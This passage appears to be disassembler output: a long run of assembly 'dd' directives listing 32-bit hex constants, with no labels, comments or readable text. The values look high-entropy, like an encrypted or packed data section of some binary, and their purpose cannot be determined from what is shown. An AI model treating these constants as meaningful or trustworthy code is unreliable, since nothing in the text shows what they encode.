4B6836A0h, 0EDF37Fh, 0AC08D2B8h, 50C14056h, 40A9FCE0h dd 0B6005275h, 18EE8034h, 3A5AF028h, 0F0CF112Ch, 2760CEF8h dd 0F4B3A61Ch, 5AF30330h, 6F6D6866h, 0B0125FA6h, 160280A1h dd 0F4A50BE9h, 2D458233h, 2F77CF8h, 576AF0B1h, 85FFDA27h dd 0F875E5DEh, 0BE4E4230h, 0F950EAD3h, 0E27E6D02h, 0C77A7C0Bh dd 807F6058h, 620970CAh, 12839065h, 1C212C3Dh, 22295A46h dd 59F4CC40h, 954FB82Eh, 4D4AC102h, 126DC27h, 0E716B9E6h dd 0F30C8E1Dh, 1AEB241h, 0A87ADB1Fh, 4ACB2827h, 1675F25Ch dd 0B9D4C5ABh, 25BFA038h, 41A41230h, 0ECD0BF4Fh, 832A7ABAh dd 0D7EAA35h, 0AC2EB6E1h, 12BF9618h, 412FA374h, 2341C2C1h dd 18C57963h, 8152E83h, 0B29E9548h, 5215148h, 2AD246A4h dd 8FD641EEh, 383B7C56h, 533E0C27h, 76DF184Ch, 0B8EE5BFFh dd 0EB5A127Dh, 5B6DCAABh, 0BFD376E2h, 490182D5h, 0D4623F7h dd 839CAC60h, 6055D5CAh, 1FD66D68h, 0E5218F0Ch, 56EF1855h dd 2407768h, 4E5E5963h, 54E8B9E9h, 30E5F188h, 92EB97C2h dd 0D60E3294h, 98EF7330h, 2BFD539Dh, 0D925FC9Dh, 555806Fh dd 7FE10111h, 14D4D3B6h, 0AC29A404h, 4AAFAC23h, 0D2BABD87h dd 17DD562h, 0E04CF280h, 79D273CDh, 0ED4600AEh, 31DD2D78h dd 0B9F5012Ch, 5E4F0820h, 2591C191h, 0EE0E58BEh, 29473FE8h dd 0AE14C2C1h, 5D92AFD4h, 0D1AD981Eh, 30638146h, 0D855275Bh dd 692C6544h, 0E989E46Bh, 0C08DE2FBh, 82DE1A00h, 8B1CCC61h dd 0D6F2C5B9h, 343E8933h, 57BEFC8h, 8974AA25h, 0EF876004h dd 0F1B1055Dh, 0A162E9BBh, 69812335h, 14BD06Ch, 9F5380BAh dd 66D63168h, 0D06C5188h, 2628BC63h, 2BF8AC55h, 896FCD09h dd 5A89D4F5h, 0CFEA4DC0h, 0F829C724h, 0E305F080h, 9D379D15h dd 3127E8E6h, 27BFC4C3h, 67B638Ah, 0F935E984h, 1FE4095h dd 0A505FF02h, 343A313Eh, 88395049h, 58E10EF4h, 66C8045Ah dd 1002298Ch, 14474A68h, 0C4AEAEE9h, 0B101DA93h, 3ACF882Dh dd 50879234h, 9D541E8Ch, 933E33DBh, 4DE931B3h, 6CBB53C0h dd 184F365Eh, 0F0FC0AABh, 120B2097h, 0A2BA73E9h, 444A7896h dd 13682F02h, 7E1EE66Ch, 13115B56h, 69A4DDC4h, 0D50973FCh dd 0DCFBD6E9h, 12C25AF9h, 974214F5h, 0AC8E645h, 0EF96841h dd 0E5715F6Eh, 0F85AC011h, 33A428D1h, 0A908E92Ah, 0CCB1B907h dd 0CFE5BFBCh, 274B487h, 8E5A0407h, 0C353D804h, 0A2859893h dd 0E480CFB3h, 53A9303Ch, 0B8AAEC4Bh, 6741B566h, 1ACD7FE8h dd 2CA92FC2h, 0AAF14D68h, 4F431106h, 25A2CE29h, 0B04EF0FDh dd 2EE8E84Eh, 5388A5C5h, 0F26C0957h, 6D5DC5C2h, 0ACE89382h dd 594A525Fh, 0A22BA9CDh, 565F132Ah, 4F586061h, 6710907Dh dd 0C5311F16h, 1071247h, 81E2540Bh, 0B21F8EF7h, 58C07F09h dd 0A1C357E9h, 2DC85D3Eh, 0DE2930C8h, 7016C69Ah, 0EA2EAF2Fh dd 570805DEh, 473ADB06h, 885801D3h, 0E4805BFCh, 0F60784Ch dd 0D3F430DDh, 0FD012234h, 0E2CEE9E6h, 1004CE32h, 0BB2BC923h dd 0F058DF4h, 0E941544Ah, 0EE77617Ah, 0BB53216Dh, 8ADA010Ch dd 0E84E83B6h, 0B10512F8h, 0C715C025h, 0F6F09B8Ch, 0F3D4E912h dd 2DA34C41h, 6ACC6795h, 6EED0C5Eh, 425AC829h, 7F047527h dd 6BDAD58Eh, 2B9DDE40h, 0BF1996BDh, 5EF5BA30h, 0E962489Eh dd 5E6E80Ch, 7AA49886h, 917D4912h, 1EDF414Fh, 2A63A8C0h dd 5FE9E1A0h, 518003Fh, 5F2127F9h, 0E8642BDh, 6B1A007h dd 5A5E40AFh, 7A78B053h, 0C5451526h, 7257E670h, 46013714h dd 1510736Eh, 5DF389B9h, 0AB093F18h, 96249850h, 15E08293h dd 0E273CB80h, 7E90ADECh, 7AF2B541h, 0C3DE9DE2h, 0DE595FDAh dd 0A09C7D69h, 2F4E687Eh, 0E9553220h, 0A98B5C02h, 0C8B70FC3h dd 6F1968E0h, 0D9208892h, 0B35306E8h, 0B2D3F605h, 0C30BA873h dd 0A1EBE916h, 34CC681Ch, 0DF542F52h, 7407CEB9h, 4C9547DFh dd 0E77E2042h, 0FEEA9390h, 44BA2717h, 0A9CA67E1h, 396F4DDh dd 0C79097Ah, 664D5B7Fh, 27BE023Dh, 4037146Fh, 0F1EB5ACh dd 0C4E908B0h, 0D68DF853h, 0E7F227BEh, 0EE2B69C0h, 7A2D3850h dd 9596610h, 3E5C4B08h dd 7003A958h, 29678F6Fh, 0A44F1EAh, 0ACE97550h, 0BC5EB159h dd 0BE0BF82Fh, 520411D6h, 85AAEA89h, 817D094Bh, 0D4B955C1h dd 6F31736Bh, 6AE58251h, 6F62C93Eh, 0ED2EE5F1h, 31E9125Ah dd 9A0D6880h, 29C4004Ch, 6316992Dh, 0B60E051Fh, 0A1361161h dd 72A7099Fh, 8E98F06Eh, 0C06E0B62h, 3B84E0E2h, 6AF9BFB9h dd 5DBD78E2h, 94242867h, 34685102h, 5985FE61h, 2A083057h dd 6FC11FABh, 0B1272BECh, 6FE10385h, 55C9846Ch, 6C543080h dd 0BD7720EDh, 0B90B0BD2h, 2E037658h, 4B5CA7A6h, 1564866Fh dd 0BAD8A3D8h, 0BDADE6Bh, 0EFF665Fh, 0C6918E4Fh, 0F60BD0F7h dd 7F057FE1h, 0F081FCD1h, 58877E12h, 3F7C5589h, 5EA5F301h dd 3D5022F6h, 7C272442h, 0BD803841h, 0FD0183D8h, 8955D3E9h dd 0BAA13A87h, 20C72D2Eh, 989D734Fh, 45AECBh, 0D1090AD5h dd 0E983415Ah, 35E8015Ah, 4CA50807h, 92DF9245h, 0A4072B5Ah dd 293D7312h, 8A81F6Fh, 76E0585Eh, 0F66AE102h, 20E8D770h dd 88501384h, 0A609F7A8h, 0D129532h, 0C04004B6h, 76AD49EFh dd 1687EA3Ch, 82C8409h, 0DD2566E4h, 9777F3ABh, 2C502566h dd 50C83113h, 82F7E44Bh, 0E7D32B2h, 0FEDF92BEh, 0B7388728h dd 83B0BB46h, 0C10D1B25h, 87DDCE7Ah, 0F717D728h, 0BDFB83D3h dd 0BC3444AFh, 38012722h, 2F69B03Dh, 89C2035Ch, 1642CB62h dd 2E0C0B0Ch, 20A87516h, 0CC4BA7CFh, 0EA0105BDh, 0E909F164h dd 0CD6C0FB3h, 734ABBE0h, 17FF53Fh, 353246CBh, 60C6432Dh dd 8680D0BEh, 8BE65069h, 0EBD5222Fh, 1C4BD596h, 0D3AFD4AFh dd 71F758D5h, 0ECCA282Ch, 0E494A76Eh, 7885A7BDh, 0D15A4B5Dh dd 9E3DF2B4h, 0E2494BC6h, 8E668005h, 9DA8CA9Dh, 95257C2h dd 0BBB76934h, 3F82BAC4h, 0D3C7E008h, 73BD80E3h, 4ED42E24h dd 8FD05108h, 0A42F23E1h, 104941C6h, 993D4416h, 22C13601h dd 31E4650Ah, 0F02CB8CBh, 37969F01h, 8B093998h, 127E5B59h dd 0B502F0C0h, 0AE4F8F73h, 0BE45A2CDh, 6C457F6Ch, 0FF5D9D80h dd 5B1DE97Eh, 5B3BF2FBh, 802779E9h, 2B083565h, 0F188032Fh dd 82A4D1F6h, 47D87F36h, 1B3CF0BCh, 0FA3142A6h, 0B72375DDh dd 26A792C2h, 2136EC29h, 1E0E61B8h, 0CB43ED39h, 3A5FA99Fh dd 64205192h, 447A29EDh, 0C5D4888Fh, 0ED392D00h, 7753F2D6h dd 6347E14Bh, 8B7DC36Fh, 0CA7DABFDh, 0BC1B50Ch, 5ACA1A14h dd 0F7A64C60h, 5C9D61BAh, 14F9A751h, 0FBA85AB8h, 692168B0h dd 177EC695h, 441F73E9h, 0F96DBD1Fh, 0E958C24Ch, 817B5415h dd 0B15166F8h, 3AE1ED5Ah, 0C8FA14C4h, 0AA5A680Eh, 0EEE9E830h dd 0CF1B3D4h, 6835BC23h, 1733D324h, 10B2E5C7h, 53EDC0Bh dd 0C856F14Ch, 2362C115h, 0F11D74A5h, 98DB8D2h, 3C6C15D8h dd 0DC5E2F0Ah, 7F38480h, 1880FB69h, 60CC173Eh, 0F902184Dh dd 0DC95F6B7h, 5932AE53h, 84392BC6h, 0AE926625h, 0EFB806A6h dd 42950DE3h, 0BFCCD817h, 33428EDBh, 8DC21BF6h, 0C37E7158h dd 0C4DC6732h, 62828152h, 0B6417DDBh, 892DCE97h, 265B10h dd 925D27BDh, 0E0F58171h, 5CF2F66h, 4DCD9AA0h, 417FB534h dd 161309F2h, 0AE1FC7h, 0BE5647FCh, 2F2121Eh, 49E94E0Bh dd 0E7E356F7h, 0D4EDC5C7h, 5D8BFC9h, 59A7CF14h, 3168F5C1h dd 0BB93607h, 740F4608h, 412C06E9h, 0CB147AEEh, 5AD28359h dd 625877F0h, 5BDD5E7Eh, 0E917315Ah, 61659BADh, 3B19A5ABh dd 68392CFCh, 0A66C5AF5h, 0DBCA16D4h, 0FC78B5E2h, 6BCDBEC6h dd 0B546C754h, 0C5AC802Bh, 4293D1h, 49C65BFCh, 0D00B435h dd 0BA2D30C4h, 976745E2h, 0C7041389h, 0F8B9003Fh, 0B8354815h dd 6F45008h, 2C310BC7h, 0F6CA3EA7h, 57590800h, 46BA4568h dd 0B70E90Bh, 66465D01h, 50398497h, 0E99171BAh, 4E1F3806h dd 0E41E5AF8h, 743C8B7Fh, 6A1318DDh, 13BF884Ch, 5190DCF2h dd 6DF4E70Eh, 0F7811D08h, 59F10E42h, 26A2FB70h, 55194Eh dd 0AE0558C7h, 684AC123h, 7415DB8h, 83743C7Bh, 9D247282h dd 30CF22D9h, 13AACB5Ah, 657DC91h, 0A5BE39AAh, 0E12673FBh dd 63B46CE9h, 9696DFFEh, 97595AF0h, 0F0BD93ECh, 7D50A0CAh dd 52BD2870h, 2D940BE2h, 3CD647ABh, 0F50DF43Ch, 1E7B5A63h dd 153B1AC0h, 80CE3198h, 7DD499Fh, 24B9153h, 7BD80C34h dd 0C3F027C2h, 7E576812h, 10F04160h, 30D6B519h, 61585442h dd 1C644F2Dh, 62789D89h, 955CE624h, 9244C2h, 942306BEh dd 4CA9665Ch, 38611C7Ah, 318B55C9h, 0E42A5216h, 8B9E075h dd 35685160h, 0D982D60h, 52738E0h, 0DFB0C576h, 5A031EA0h dd 296C5C16h, 0CA81EA00h, 76DA6A11h, 0D5E21F77h, 3F0EDF68h dd 31039A81h, 38A1E90Ch, 395B2B65h, 46017AA4h, 5A51C34Fh dd 1B1D9C70h, 0C2C4801h, 33597EF0h, 0E60B96B9h, 0A56BDB1Ah dd 3E100257h, 74EDD5AFh, 1DD9B488h, 96328B57h, 0B5611675h dd 9C55E7E2h, 68CF48E9h, 11A6FBB4h, 0A2E2E90Dh, 0C0803F1Ah dd 0ECFDA871h, 25DE7E89h, 0B946D8D1h, 0AEF40245h, 0EF51D3FEh dd 1360E660h, 17227840h, 4488E9F7h, 0FA875B34h, 68C352B2h dd 0FA8459C2h, 8B9256E3h, 0DBE91615h, 0FEAD044Bh, 0D2770559h dd 0F4FF1E03h, 688EEA03h, 43545525h, 90AF2944h, 0C6BE9EE0h dd 0AB40256Bh, 0F40FD5EDh, 0D59DCCECh, 0AACCF6A3h, 408AD45Fh dd 9944CFF1h, 0D84BEEB8h, 5002FC85h, 3AE96894h, 0A01B0970h dd 0D48C8D2h, 32165BBBh, 3800211Eh, 2DE535A9h, 41E99529h dd 2FFAF5E9h, 2441068Ch, 0CBD30106h, 94111A40h, 0CE0C1560h dd 3D7DE026h, 1449C4E9h, 0F355F017h, 62CC19E1h, 0CBDDE211h dd 7E72D07Ch, 16CD4FFBh, 5C25EC79h, 0F8E9A033h, 0EC1B9244h dd 4F09B5B8h, 31ED3057h, 5FDF90C2h, 5B15E3D8h, 9CAFF133h dd 26C4FE07h, 0F6F704CCh, 2EAEE6DFh, 8275F54h, 0F72776A0h dd 5B4490A3h, 0F24069A2h, 8200352Fh, 0FF25483Eh, 0BD71C74Bh dd 800EBF9h, 4A1CED0Dh, 0AD35055Ah, 0C2331985h, 135F4BF3h dd 81E4C1F7h, 1269253Fh, 5BFD40C0h, 8853CDFEh, 0D3F6EB1Dh dd 0C017062Eh, 1FB6113h, 0F58055A9h, 0E9ECF47Ch, 49A91035h dd 177A10BDh, 0A2010258h, 25D51BDCh, 5251895Dh, 990D284h dd 0CB34809Ch, 0EF240BB7h, 97035003h, 4345270h, 8547FB18h dd 80C51F29h, 80C2462Ah, 84D30915h, 0E970AF6Ah, 20974187h dd 0C54AF7DDh, 1F62ED41h, 0C807F89h, 0AFA398Bh, 50BCDA01h dd 0E2389002h, 23934825h, 2629FD0Ch, 0FECEECBh, 0EF22E91Ah dd 0B0718310h, 0C629B807h, 48E99558h, 13106C39h, 37E53159h dd 80412BECh, 0E69FF1F6h, 1883212Ch, 0CFEEE904h, 4BF78EBAh dd 407321BBh, 0F74800E2h, 1B2D01D0h, 29BFD421h, 84B33EC1h dd 39D5A192h, 0C330E19Ah, 975F0B60h, 0D01EE7ECh, 0BA863831h dd 30A3208h, 5E11EA81h, 0C2C7414h, 400943C8h, 82087D29h dd 0B0C3408h, 93875F14h, 23E773FEh, 3CC12A79h, 2AFB7EB8h dd 0E9DCA82Eh, 4684A769h, 15D01B4h, 526658C3h, 6545EE4Eh dd 80D2BB02h, 7FB05D53h, 0D282B3B9h, 0CBC8B6DCh, 8EC16557h dd 501079D3h, 0DE13ED17h, 25C701E5h, 0D52B50F7h, 2880E199h dd 3ABD518Fh, 29E924F1h, 0F02A9D25h, 0F70681B6h, 68F04AC6h dd 1797170Ch, 0EA940BD7h, 0CC6157Ah, 84FC143Dh, 0E90880B5h dd 0EB56B5D2h, 2F935347h, 2CC56076h, 0F00797EAh, 0BB385868h dd 0CA25BB65h, 0CDBF8C13h, 0F1942D4Ch, 9C710288h, 5B0B7338h dd 244B3C86h, 87D874E2h dd 0F4C3682Dh, 0ED036F2Fh, 5990082Fh, 0D86491E9h, 18B9D1A7h dd 7328F180h, 80BF5A6Ch, 7929C999h, 1C1261CEh, 0F6CFFD3Bh dd 0A07C8B57h, 8F26058Bh, 0ACB84BE1h, 16355AA4h, 0FEC552ABh dd 32BBA202h, 3A20FF46h, 6A27DAC6h, 9C81FE5Ah, 77305551h dd 62B09C39h, 8001B930h, 0C2CC6CF1h, 0F0CAE0AEh, 836BEBEAh dd 18090224h, 76D03048h, 0C39CBC97h, 0C7CA3945h, 6956E92Dh dd 9FCDCC2Fh, 0E950115Ch, 0A3F754DFh, 833FF1Ah, 0B38AB206h dd 985CD3h, 0B7EB0ACEh, 0DE160EEFh, 0C9A8F54Ah, 36B5D000h dd 0E8DCC580h, 0F619F6E6h, 0C848410h, 0A6E8280Eh, 0A14818B6h dd 0CB69C6F3h, 0A755C06h, 40B3199h, 644776DBh, 0FFBB490Ch dd 7FF26046h, 470495Ah, 0BC6E1768h, 13306014h, 0E92E25B5h dd 2D82A765h, 0C2630BD8h, 0C264D493h, 0E5DFD97Bh, 13E9ADBFh dd 0A8740463h, 36105AA8h, 24BD00D6h, 8114EE1Eh, 7B4B38CDh dd 0C1456884h, 0C54080E5h, 402552E3h, 937BD476h, 0B81EC01Fh dd 7F3E22A3h, 5832D42h, 20EB5A8Eh, 983B3AFBh, 5BB5948h dd 0B4DE237Ah, 0F89544BAh, 3A8CAF53h, 60D84150h, 370F5CCBh dd 82567817h, 0C601191Bh, 0B28D20EBh, 0D48BA05h, 28C116E2h dd 416B2578h, 497B712Dh, 93DCEC35h, 6ED98B5h, 23C22F37h dd 0D00E117Ah, 0C051B557h, 0E40242E6h, 9EF6B622h, 7572D80h dd 1C4D0D9h, 0DC66CFDh, 0CB585F2Eh, 5CDE2C72h, 855F2310h dd 1737EB0Ch, 25D79CE3h, 87D55DE2h, 88B2C813h, 404C76E8h dd 78E5061h, 19CA8100h, 0F71FCD0Dh, 2C7E97D2h, 0D69D8239h dd 89898B56h, 0E4897722h, 2D8746D5h, 0EB8012E9h, 6536F681h dd 0A570F33Dh, 0D5F16279h, 0E9C1F779h, 1193DD19h, 0DFAEE8EEh dd 0D61E0F4Ah, 1D34F88h, 0FA2F20BDh, 0A5F22A13h, 0C07E5F58h dd 4D5EBD65h, 0D2A15051h, 5C8050A9h, 2DF0C601h, 82AAFE48h dd 61F33078h, 0F913A4D6h, 3B32B8B9h, 0F2FCED89h, 0B96AA3Fh dd 1FB47FC5h, 7D4F0DB0h, 0BD0BC7A7h, 3F602160h, 0AC923474h dd 0A320D50Fh, 90DB4607h, 449AB414h, 0EA9AD586h, 0B1B71637h dd 38834004h, 87C40D9h, 217FF388h, 8F77265Ch, 0C28AED33h dd 4889280Bh, 9731CAA0h, 2F889466h, 6D058DC3h, 866834C8h dd 7DEE44AFh, 0D77ABC94h, 6A1995ECh, 80C5479Eh, 0E63BF566h dd 3DB95115h, 0C8363D5h, 6356849h, 0E5D2493Ch, 0B0AF6E0Bh dd 381261CFh, 3F002AB5h, 37E862E0h, 46DA60F7h, 0DE8CCEE1h dd 0FCCA312Dh, 0CA515A17h, 0BF7C69h, 15424A67h, 54BE0BE9h dd 58E8F625h, 4F48D168h, 21FFD6D1h, 81D99508h, 4C17B84Fh dd 147034CAh, 0A8E2775h, 600BC0F4h, 2BEA9094h, 0EEE7330Ch dd 11E9C0B6h, 28F6055h, 578F3913h, 0FE90AED7h, 0F0064179h dd 39EE4DA1h, 7CDCF602h, 84C34BC6h, 5D7E12F6h, 1025217h dd 0F1E76616h, 2A270C20h, 57651058h, 9DC39C51h, 0D4F3E068h dd 0B1487D19h, 54AF100Ah, 4D515A2Dh, 0D6D3D162h, 5D1B8A07h dd 83C49Bh, 0FC30AAB4h, 962CEEE9h, 31264EE9h, 0C51E56D5h dd 60BC1642h, 238A870Ch, 6DC4957Bh, 5B55BF82h, 4DE9C184h dd 7D739A9h, 31A337DFh, 13AF5AB4h, 0E41EA28Ah, 6A8AC501h dd 0E9420322h, 0B8E468E6h, 800A3B96h, 1B2E2D02h, 72D80238h dd 43B0E2B8h, 0EBF00B28h, 1912C809h, 0CB7F45Bh, 0CD6F9129h dd 71238303h, 0EADD877Dh, 418577FCh, 7934FE52h, 84E97020h dd 410F9CA8h, 7ED0215Ch, 0C893D4E2h, 4282C5AEh, 1012406Ch dd 5D273B8Ch, 161B3600h, 0D9B9E937h, 1EF0FFA6h, 7510C16Bh dd 0B3E13433h, 0F7B9A401h, 4D6CCB04h, 3CD2A987h, 0C99AB395h dd 413AAE46h, 0BFE5A386h, 0ADF12A14h, 0F5015A39h, 4DC71577h dd 0BED0D2E9h, 0E097B72Dh, 0E03C0493h, 912C74C8h, 525360D9h dd 0E913BCB6h, 0AD6158E2h, 242FBB75h, 2ED78264h, 9D2A33F6h dd 0B69676F0h, 7BC86804h, 4BD58AEFh, 5528A1B6h, 8B65979Eh dd 34035613h, 0E95D4BD0h, 163B13E9h, 0E13FFC06h, 0E628D01Bh dd 5D80180h, 3C246F74h, 8C179329h, 0B86309C4h, 0D12099B2h dd 2DEF7661h, 7FD45A1Eh, 58477F7Ah, 0E471D4A5h, 5F45FF21h dd 3BF3D868h, 0ABDE5427h, 0F503557Ah, 8402F53Fh, 0E42A90BEh dd 164D7603h, 0C71AF35Dh, 0BD12E9F7h, 47A255D1h, 0FD09DE84h dd 0EC511949h, 0C895F5CBh, 83AAE3E1h, 6F0CFEE1h, 3F60E2Ch dd 7B353D1h, 81DFE3C0h, 0BDCBFED3h, 0B2520F0Eh, 0D0C2016Eh dd 0D7C980EAh, 192E228h, 0F6E9D345h, 54CCAFD5h, 0DF80721Eh dd 0C23AE940h, 5B938DDDh, 0B6BEFCA0h, 6F0B6000h, 0EABF783Dh dd 550809C6h, 689545C6h, 0BE99E988h, 0B92D4452h, 238D40BFh dd 0AA307A41h, 0D9534F34h, 48F96E1Eh, 0AD83EC5Fh, 807BDE60h dd 801CC7FEh, 0AF163E7h, 0FAFCD7F6h, 0CD917Dh, 180F14C0h dd 0BC9C2BBh, 4A90CC31h, 0DE25BA01h, 0B05F61FBh, 0E6800CEh dd 3F269351h, 0A9F41416h, 0F285D65Fh, 9F5FB228h, 8EA2BD9h dd 0F1E71813h, 4A74F860h, 0E9277983h, 0E84562ABh, 96367E4Eh dd 1304E923h, 0B5B80087h, 9756C322h, 0FA29A500h, 744A5468h dd 596CAF30h, 0F55895CDh, 0F5C94913h, 81095E52h, 22B675D1h dd 6858D3C1h, 0C58956EFh, 57DE1D01h, 0B4147FC9h, 0BDCE549Fh dd 7ADA02F6h, 0CD09B0BBh, 3FA34441h, 14EE2B74h, 0F8274DEFh dd 0E7884D83h, 321D7812h, 0F851C1C8h, 81535BF9h, 503DD8B1h dd 4E793F83h, 18761148h, 0E90F4205h, 76E8BAE0h, 0B4D62048h dd 81AD58h, 2A784A82h, 5428E2Dh, 0C829325Fh, 59070F05h dd 0B71C9CA1h, 0AF8D307Ah, 34A20809h, 0C1936229h, 0C82A9174h dd 361DFF35h, 0EB8B081Ch, 39AED460h, 408D662Ch, 0E24947F3h dd 59530616h, 28C29D19h, 589A093Ah, 3BEFF6E8h, 6F708081h dd 4C56EFEh, 44AEDE7h, 9C8881EEh, 128E3A49h, 46DD6809h dd 0E0649CFEh, 0C2326EB5h, 5160715Eh, 0EDC5205Ah, 45789D0Ch dd 17F90C4Ch, 45E7550h, 8403F357h, 7594FB44h, 21C081Ah dd 54F4E914h, 9CD72D28h, 25EF8130h, 0BF4A9D28h, 0F6AFE264h dd 461625D6h, 4AC00982h, 48554353h, 2FE957E6h, 41DC7B45h dd 0F09855F2h, 0FE9DE173h, 9329440Ch, 38E8BB56h, 4B75A0Eh dd 93813567h, 1E3E2C60h, 5DEFC978h, 27D46E00h, 12E757Bh dd 160061CFh, 251BE835h, 0D731076Fh, 0F1CD0D36h, 0C4051EDCh dd 56129EF6h, 412C729h, 905C46E0h, 67420926h, 39860302h dd 7BF486C4h, 0D432C26h, 0DED3890Bh, 95A160Fh, 325746EAh dd 710B81B7h, 66B19E9h, 56415FE4h, 0D609790Ah, 1603A64Ah dd 5E13C72Ah, 0EFD5530Ch, 0A4048D02h, 6364C17Ah, 76004339h dd 2D2E6450h, 975C27ECh, 2F6F1061h, 0AC253958h, 5E531102h dd 0AA939E64h, 0C9EED10Ah, 0D45F1109h, 0A0027392h, 27993BCBh dd 8D117F29h, 11407FA2h, 105638C1h, 2DF0ED1Fh, 3AC2722h dd 883ECDAh, 0F8141C45h, 272E0219h, 0D2429752h, 820DF147h dd 29332DFEh, 39E4C455h, 75A65157h, 58C8101Fh, 42542507h dd 86965512h, 0F6BA3620h, 46C50BCAh, 81862BEAh, 0C207173Fh dd 29AD14A6h, 2FB47B2h, 33DA5F59h, 2BAE5730h, 3DAAB6C6h dd 2197FE7Ah, 0A105ECF1h, 3D2C4313h, 12E4DAC4h, 53F13EFh dd 91F60FADh, 732B2D52h, 56522DF7h, 81EAC50Dh, 3C18DDBEh dd 0E50C2D90h, 668BCC8Ch, 3FDB598h, 0CBC2ACF7h, 733783Eh dd 940B2DBFh, 0A4BEA414h, 548E046h, 0E621BF1h, 0E77E1372h dd 8975F97Fh, 0FDB0F54Dh dd 0B3A86441h, 0C382310Dh, 0A12BB9FEh, 25F2A1A5h, 76EC3609h dd 25F5EC5Dh, 9CD12BEEh, 0C0EBBE96h, 0C706890h, 49F17B9Fh dd 0CF8248CBh, 5D147FFh, 0A3506D68h, 2F2D05FFh, 80EA1830h dd 0A37A5304h, 0F88414EFh, 8D3316BFh, 84D23803h, 1EEC6B23h dd 0AC8BEEE4h, 0BE508C5Ch, 0A1E46037h, 8D0968F5h, 0C180166Eh dd 3D804532h, 0CEAF806Eh, 0C2627FBAh, 0E8CDE98Eh, 0A1C5B001h dd 0A33BDEDDh, 438B27h, 0CB4CFD58h, 0DBF73078h, 5807E510h dd 371F5260h, 0BFE7F80Eh, 0D4F18B42h, 5463E941h, 37F44FADh dd 60C2F381h, 0BC6B4BD4h, 0F5FC1A62h, 5D8E5DC8h, 954DDE6Ch dd 385A3114h, 55BB00A9h, 0CAE941B3h, 7B94B584h, 0D6138192h dd 520F9951h, 0E44E5097h, 410E71EBh, 0C6C14C35h, 13144203h dd 1ECF2ADh, 256DED85h, 0D566300Ch, 0B47051B8h, 82A67B7h dd 1A2B21E4h, 0CC535689h, 0AE954D5Eh, 2096E24Ah, 0D788270Ch dd 0F1EA46F0h, 0EBE8E91Ah, 891035Dh, 6EC7C483h, 37C006B4h dd 4ACF2DEAh, 0A100AE2Fh, 1CB61335h, 0C07C4FE9h, 610268F6h dd 4921F195h, 6E64557h, 0AEEFDE9h, 84FC4CB5h, 0AA0DD71Ah dd 0B3648671h, 4AE2E824h, 816AE805h, 6EB26D4Bh, 814F906Ch dd 7EE04CA8h, 0B15A4CF6h, 622F7AFEh, 3B1A502Ch, 0B5D8C04Fh dd 0D55CF6BFh, 0EFE0757Ch, 0C7065976h, 3093E9D0h, 0C8DF32D9h dd 0ABD9532Eh, 300F45ADh, 3F616807h, 38F33BC5h, 0D6CB08BCh dd 43959DE6h, 80F5CA4Ah, 83054257h, 0FE013C10h, 0E08EE28h dd 64BB685Fh, 1F9DEA12h, 1D8B3880h, 0DE01564Ah, 84080982h dd 5EBCDB32h, 5AF2F293h, 0E83AA2B1h, 0E76C8D31h, 4663BF40h dd 5A227B8Bh, 314304A1h, 0A450FCF0h, 1E5FFF80h, 0D1331329h dd 9404EBE5h, 4BC485E9h, 1E8AA58Ch, 0B77F5B30h, 256CC511h dd 0F9B6740Ch, 7FF84EBCh, 9DE90805h, 0D89EE71h, 1038DA2Ah dd 2925A214h, 0A9012950h, 5E2CC151h, 112EE821h, 0F512CD42h dd 7344F2C7h, 1B24E758h, 0B357CF12h, 0D1FB5949h, 531F553Dh dd 0E33001BBh, 2BD9896Eh, 0CECB080Eh, 159C5DDh, 4A97A2BBh dd 59F9C68Ch, 54A1F5E0h, 0ED8000D1h, 0EA202498h, 9ABF3942h dd 45554E7Dh, 0B5F16C69h, 98B2F5B4h, 0A5965A53h, 0A0F75B64h dd 0DD2A191h, 0B43FE8B1h, 5B7589Dh, 2EC25486h, 4949F6C4h dd 5392DE79h, 0AA8394EAh, 0CB7FDE2Dh, 31884CA8h, 5B5432F3h dd 0E9C2F762h, 770B3D05h, 8F324F4Ah, 3D282283h, 0C0E96CC8h dd 3D284D4Eh, 28544020h, 8C89E3B9h, 0CA05B3D8h, 4A3678BAh dd 68C92850h, 2174312h, 7C13BC0h, 9CF0B746h, 80C05B4Fh dd 0E65FFA31h, 1EFEB5D7h, 0DAFE8951h, 9825FE7h, 777C589Bh dd 0E0F2C0F2h, 27409BA7h, 206CA9D4h, 11BA4DF8h, 25D0BD89h dd 56CD409Eh, 19002C6Ah, 68ED4250h, 9D08DD2Eh, 49E3D925h dd 73D40577h, 0A23B78B1h, 3DAB9709h, 92B37A03h, 0F0FEE95Fh dd 9EF701E9h, 0C85A65B8h, 6A56E38Fh, 590213C4h, 21053BE3h dd 0EF2B7570h, 1CCFA700h, 49E94A44h, 0E35E2B67h, 0FC5D98DFh dd 0D8E5C9DEh, 0BC1D487h, 78698F7Ch, 198E95F6h, 0F9EEB4A9h dd 0F9843095h, 3AED27E9h, 0A7BC0A59h, 53F58091h, 0B637F768h dd 3B5B5176h, 5E07DDA4h, 76578D28h, 0FBE8141Ch, 73E865Fh dd 2CF10393h, 413FE502h, 90322820h, 0AF5F2569h, 0EE7ACE18h dd 0D5A072B4h, 0E0534696h, 60A67479h, 41FD584Dh, 5E9D78C2h dd 0BE56800Ch, 38F23731h, 0F0BBFEA0h, 0E914A404h, 9DA63915h dd 0B98B472Dh, 0DC25C2D8h, 8345F178h, 524E492Dh, 50044C2h dd 1617E320h, 2C0C8B5Bh, 37025D15h, 0FAE969C3h, 52A975D6h dd 6B81388Ah, 0B1EAF773h, 0F6B83C65h, 31E9C944h, 70BE5BEh dd 0D85EA7C5h, 8107C0CCh, 9F2778E1h, 0C9EED8B8h, 70697C0Ah dd 0A009910h, 9D9C6FFh, 9D5950CDh, 40AA0FEDh, 0C352C23Eh dd 60FE656Bh, 2C6BE05h, 0B5834814h, 4B928F11h, 6A6804Eh dd 5C30F920h, 110C031h, 73BF1F2Bh, 81C77A5Eh, 0A20E6EFh dd 0BC46E930h, 2C58AD8Bh, 5BF3CA63h, 0BE4E045Ah, 0A846BA39h dd 2523B3Ah, 430E245Fh, 13607E29h, 251E6107h, 0C1742CE4h dd 2CB97673h, 1127C379h, 26CA0D5h, 292B913Dh, 6AD7CD29h dd 204825C5h, 1B9CD3E9h, 721C681Eh, 541C7525h, 0C2397695h dd 580BC443h, 37542CC2h, 0C1702793h, 0A4C8B10Bh, 7F89F7A6h dd 3563DC56h, 0ABA75AD8h, 0DA08D905h, 0BDF56BCh, 4757010Ch dd 0FC1418C1h, 59251806h, 0EA145528h, 6CF1F99Dh, 1B9EFA66h dd 3116EE83h, 0F8CEDA23h, 2FB905AAh, 0AF71BEA1h, 3BFE112h dd 